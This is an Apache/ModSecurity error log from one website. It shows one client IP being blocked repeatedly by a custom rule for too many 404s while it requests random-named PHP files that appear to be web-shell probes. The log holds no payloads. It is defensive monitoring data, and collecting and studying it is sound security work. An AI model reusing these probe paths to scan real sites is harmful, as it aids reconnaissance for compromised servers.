[Mon Apr 20 20:06:06.702962 2026] [:error] [pid 11494:tid 11504] [client 172.213.242.226:18292] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "aeYWrsgko5iFiE8YoyTVuwAAAYg"]
[Mon Apr 20 20:06:07.228028 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18198] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "aeYWr_4EoMBgOJuJnT2dMgAAABQ"]
[Mon Apr 20 20:06:07.730875 2026] [:error] [pid 42014:tid 42040] [client 172.213.242.226:18128] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "aeYWr8ek-00-ZI0f1Np55QAAARg"]
[Mon Apr 20 20:06:08.263866 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18302] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/isvqf.php"] [unique_id "aeYWsAN8Z1-vktaI_tPxLAAAAFQ"]
[Mon Apr 20 20:06:08.855681 2026] [:error] [pid 42014:tid 42017] [client 172.213.242.226:13042] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/isvqf.php"] [unique_id "aeYWsMek-00-ZI0f1Np55wAAAQE"]
[Mon Apr 20 20:06:09.370951 2026] [:error] [pid 11494:tid 11518] [client 172.213.242.226:18232] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/isvqf.php"] [unique_id "aeYWscgko5iFiE8YoyTVwAAAAZY"]
[Mon Apr 20 20:06:09.882085 2026] [:error] [pid 11494:tid 11512] [client 172.213.242.226:18240] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/isvqf.php"] [unique_id "aeYWscgko5iFiE8YoyTVwQAAAZA"]
[Mon Apr 20 20:06:10.411106 2026] [:error] [pid 11441:tid 11462] [client 172.213.242.226:18067] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aeYWssixByFUvmh319CTZQAAANM"]
[Mon Apr 20 20:06:10.952986 2026] [:error] [pid 11441:tid 11450] [client 172.213.242.226:12994] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aeYWssixByFUvmh319CTZgAAAMc"]
[Mon Apr 20 20:06:11.545216 2026] [:error] [pid 11352:tid 11423] [client 172.213.242.226:18195] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aeYWs2l10mhMSfJ7ir_RTAAAAIk"]
[Mon Apr 20 20:06:12.053109 2026] [:error] [pid 11494:tid 11499] [client 172.213.242.226:18296] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abalqdol.php"] [unique_id "aeYWtMgko5iFiE8YoyTVxQAAAYM"]
[Mon Apr 20 20:06:12.681479 2026] [:error] [pid 11351:tid 11400] [client 172.213.242.226:18206] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYWtAN8Z1-vktaI_tPxMgAAAE0"]
[Mon Apr 20 20:06:13.764636 2026] [:error] [pid 11352:tid 11424] [client 172.213.242.226:18271] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYWtWl10mhMSfJ7ir_RTgAAAIo"]
[Mon Apr 20 20:06:14.300084 2026] [:error] [pid 6928:tid 6944] [client 172.213.242.226:18249] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYWth3y7MHq1iB0qYqnNAAAAU4"]
[Mon Apr 20 20:06:14.845114 2026] [:error] [pid 11441:tid 11463] [client 172.213.242.226:12939] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeYWtsixByFUvmh319CTaAAAANQ"]
[Mon Apr 20 20:06:15.429883 2026] [:error] [pid 6928:tid 6930] [client 172.213.242.226:18239] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeYWtx3y7MHq1iB0qYqnNwAAAUA"]
[Mon Apr 20 20:06:15.923378 2026] [:error] [pid 11351:tid 11411] [client 172.213.242.226:12938] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeYWtwN8Z1-vktaI_tPxPgAAAFg"]
[Mon Apr 20 20:06:16.404414 2026] [:error] [pid 11494:tid 11507] [client 172.213.242.226:18217] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeYWuMgko5iFiE8YoyTVxwAAAYs"]
[Mon Apr 20 20:06:16.918119 2026] [:error] [pid 11441:tid 11448] [client 172.213.242.226:18242] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeYWuMixByFUvmh319CTbwAAAMU"]
[Mon Apr 20 20:06:17.404455 2026] [:error] [pid 11352:tid 11436] [client 172.213.242.226:18275] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeYWuWl10mhMSfJ7ir_RTwAAAJY"]
[Mon Apr 20 20:06:18.032337 2026] [:error] [pid 11441:tid 11462] [client 172.213.242.226:12957] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeYWusixByFUvmh319CTcQAAANM"]
[Mon Apr 20 20:06:18.648621 2026] [:error] [pid 11352:tid 11430] [client 172.213.242.226:18209] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeYWuml10mhMSfJ7ir_RUgAAAJA"]
[Mon Apr 20 20:06:19.248473 2026] [:error] [pid 11352:tid 11425] [client 172.213.242.226:18270] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h2.php"] [unique_id "aeYWu2l10mhMSfJ7ir_RVAAAAIs"]
[Mon Apr 20 20:06:19.772474 2026] [:error] [pid 11352:tid 11435] [client 172.213.242.226:18248] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aeYWu2l10mhMSfJ7ir_RVQAAAJU"]
[Mon Apr 20 20:06:20.483960 2026] [:error] [pid 11351:tid 11392] [client 172.213.242.226:18258] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aeYWvAN8Z1-vktaI_tPxSwAAAEU"]
[Mon Apr 20 20:06:21.329735 2026] [:error] [pid 11494:tid 11502] [client 172.213.242.226:18075] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aeYWvcgko5iFiE8YoyTV0gAAAYY"]
[Mon Apr 20 20:06:21.811062 2026] [:error] [pid 42014:tid 42022] [client 172.213.242.226:18237] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c4.php"] [unique_id "aeYWvcek-00-ZI0f1Np58QAAAQY"]
[Mon Apr 20 20:06:22.455329 2026] [:error] [pid 11351:tid 11389] [client 172.213.242.226:18130] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeYWvgN8Z1-vktaI_tPxVgAAAEI"]
[Mon Apr 20 20:06:23.271455 2026] [:error] [pid 11441:tid 11456] [client 172.213.242.226:13004] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeYWv8ixByFUvmh319CTdwAAAM0"]
[Mon Apr 20 20:06:23.977691 2026] [:error] [pid 11351:tid 11393] [client 172.213.242.226:18253] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeYWvwN8Z1-vktaI_tPxWgAAAEY"]
[Mon Apr 20 20:06:24.754628 2026] [:error] [pid 11351:tid 11387] [client 172.213.242.226:18114] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeYWwAN8Z1-vktaI_tPxYgAAAEA"]
[Mon Apr 20 20:06:26.074757 2026] [:error] [pid 11351:tid 11409] [client 172.213.242.226:18267] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibano.php"] [unique_id "aeYWwgN8Z1-vktaI_tPxawAAAFY"]
[Mon Apr 20 20:06:26.621727 2026] [:error] [pid 11351:tid 11387] [client 172.213.242.226:18291] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibano.php"] [unique_id "aeYWwgN8Z1-vktaI_tPxbQAAAEA"]
[Mon Apr 20 20:06:27.426368 2026] [:error] [pid 6928:tid 6930] [client 172.213.242.226:12940] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibano.php"] [unique_id "aeYWwx3y7MHq1iB0qYqnPwAAAUA"]
[Mon Apr 20 20:06:27.997047 2026] [:error] [pid 6928:tid 6932] [client 172.213.242.226:18148] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ibano.php"] [unique_id "aeYWwx3y7MHq1iB0qYqnQAAAAUI"]
[Mon Apr 20 20:06:28.713163 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18203] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwtoa.php"] [unique_id "aeYWxMgko5iFiE8YoyTV1gAAAZM"]
[Mon Apr 20 20:06:29.291821 2026] [:error] [pid 11352:tid 11416] [client 172.213.242.226:18163] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwtoa.php"] [unique_id "aeYWxWl10mhMSfJ7ir_RXQAAAII"]
[Mon Apr 20 20:06:29.904742 2026] [:error] [pid 11441:tid 11456] [client 172.213.242.226:18158] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwtoa.php"] [unique_id "aeYWxcixByFUvmh319CThAAAAM0"]
[Mon Apr 20 20:06:30.473768 2026] [:error] [pid 6928:tid 6939] [client 172.213.242.226:18159] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwtoa.php"] [unique_id "aeYWxh3y7MHq1iB0qYqnRAAAAUk"]
[Mon Apr 20 20:06:31.495430 2026] [:error] [pid 11441:tid 11460] [client 172.213.242.226:13010] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeYWx8ixByFUvmh319CThQAAANE"]
[Mon Apr 20 20:06:32.225541 2026] [:error] [pid 11441:tid 11467] [client 172.213.242.226:18086] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeYWyMixByFUvmh319CTiAAAANg"]
[Mon Apr 20 20:06:32.800628 2026] [:error] [pid 11350:tid 11372] [client 172.213.242.226:18210] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeYWyP4EoMBgOJuJnT2dSwAAAA0"]
[Mon Apr 20 20:06:33.554074 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18227] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abhjr.php"] [unique_id "aeYWyf4EoMBgOJuJnT2dTwAAAAM"]
[Mon Apr 20 20:06:34.147175 2026] [:error] [pid 11350:tid 11361] [client 172.213.242.226:13030] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeYWyv4EoMBgOJuJnT2dUgAAAAI"]
[Mon Apr 20 20:06:34.932877 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18265] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeYWyv4EoMBgOJuJnT2dVgAAABQ"]
[Mon Apr 20 20:06:35.493919 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18144] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeYWy_4EoMBgOJuJnT2dWwAAAAY"]
[Mon Apr 20 20:06:36.021274 2026] [:error] [pid 11351:tid 11390] [client 172.213.242.226:18068] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "aeYWzAN8Z1-vktaI_tPxdgAAAEM"]
[Mon Apr 20 20:06:36.636599 2026] [:error] [pid 11494:tid 11499] [client 172.213.242.226:18228] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeYWzMgko5iFiE8YoyTV3QAAAYM"]
[Mon Apr 20 20:06:37.149913 2026] [:error] [pid 11350:tid 11375] [client 172.213.242.226:18066] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeYWzf4EoMBgOJuJnT2dXQAAABA"]
[Mon Apr 20 20:06:37.704828 2026] [:error] [pid 11494:tid 11498] [client 172.213.242.226:18196] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeYWzcgko5iFiE8YoyTV4QAAAYI"]
[Mon Apr 20 20:06:38.343488 2026] [:error] [pid 11350:tid 11370] [client 172.213.242.226:18201] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aeYWzv4EoMBgOJuJnT2dXwAAAAs"]
[Mon Apr 20 20:06:38.887469 2026] [:error] [pid 11351:tid 11405] [client 172.213.242.226:18297] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yee.php"] [unique_id "aeYWzgN8Z1-vktaI_tPxfAAAAFI"]
[Mon Apr 20 20:07:24.686981 2026] [:error] [pid 11351:tid 11406] [client 172.213.242.226:18211] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeYW_AN8Z1-vktaI_tPx1gAAAFM"]
[Mon Apr 20 20:07:25.233567 2026] [:error] [pid 42014:tid 42017] [client 172.213.242.226:18167] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeYW_cek-00-ZI0f1Np6DAAAAQE"]
[Mon Apr 20 20:07:25.747433 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18161] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeYW_f4EoMBgOJuJnT2dgwAAAAM"]
[Mon Apr 20 20:07:26.435083 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18122] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeYW_v4EoMBgOJuJnT2dhAAAABM"]
